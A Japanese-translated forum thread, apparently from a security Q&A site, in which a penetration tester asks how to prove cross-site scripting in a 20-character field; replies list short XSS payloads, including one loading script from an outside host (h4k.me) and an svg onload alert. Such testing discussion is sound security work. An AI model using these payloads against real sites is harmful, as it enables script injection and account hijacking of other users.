侵入テストを実行しているときに、ある点で行き詰まりました。 20文字を超えないテキストフィールドがあります(サーバー側の検証)。 XSSをチェックするために次のコードを挿入しました(RSnakeのXSSチートシートから)。
'';!--"<XSS>=&{()}
<XSS
と<XSS
のソースを検証し、脆弱かどうかを確認しました。ソースで<XSS
を取得しました。このフィールドは、クロスサイトスクリプティングに対して脆弱であることを示唆しています。
現在、20文字以下で、このフィールドでXSSを確認するために実行できるコードを作成しようとしていますが、難しいと感じています。したがって、この場合、基本的に2つの質問があります。
1:誰かがそのようなコードを手伝ってくれる?
2:XSSを軽減するために、max-length(15-20文字)の検証は、データ検証+ HTMLエンコーディングの組み合わせ以外のオプションの1つかもしれません。ビジネスルールが15〜20文字の制限に同意すると想定してください。
質問とシナリオを説明できたと思います。ご不明な点がありましたらお知らせください。
皮肉が大好きです。これが私の返答となる行です。そして、それを投稿するために受け取ったエラー。
<script src=//h4k.me
おっとっと!次の理由により、回答を送信できませんでした:
本文は30文字以上にする必要があります。あなたは20を入力しました
入力を処理する前に、可能な場合は変数の再キャストを使用します(そうでない場合は、正規表現で<の/ sなどをスローします)。
Oriが提供するスクリプトの他に、この場合に役立つ可能性のある他のスクリプトがいくつかあります。
<a href=http://a.by>
<a onclick=alert(2)>
<b onclick=alert(2)>
アラートダイアログを開き、ユーザーの操作を必要としない、これまでに見た中で最も短いXSSペイロードは次のとおりです。
<svg/onload=alert()>
ただし、XSS脆弱性テストで使用可能でなければならないことが唯一の要件である場合、これは取得可能な最短のものです。
<
ページのソースを表示して、それが<
または<
ページに移動するため、速度が遅くなります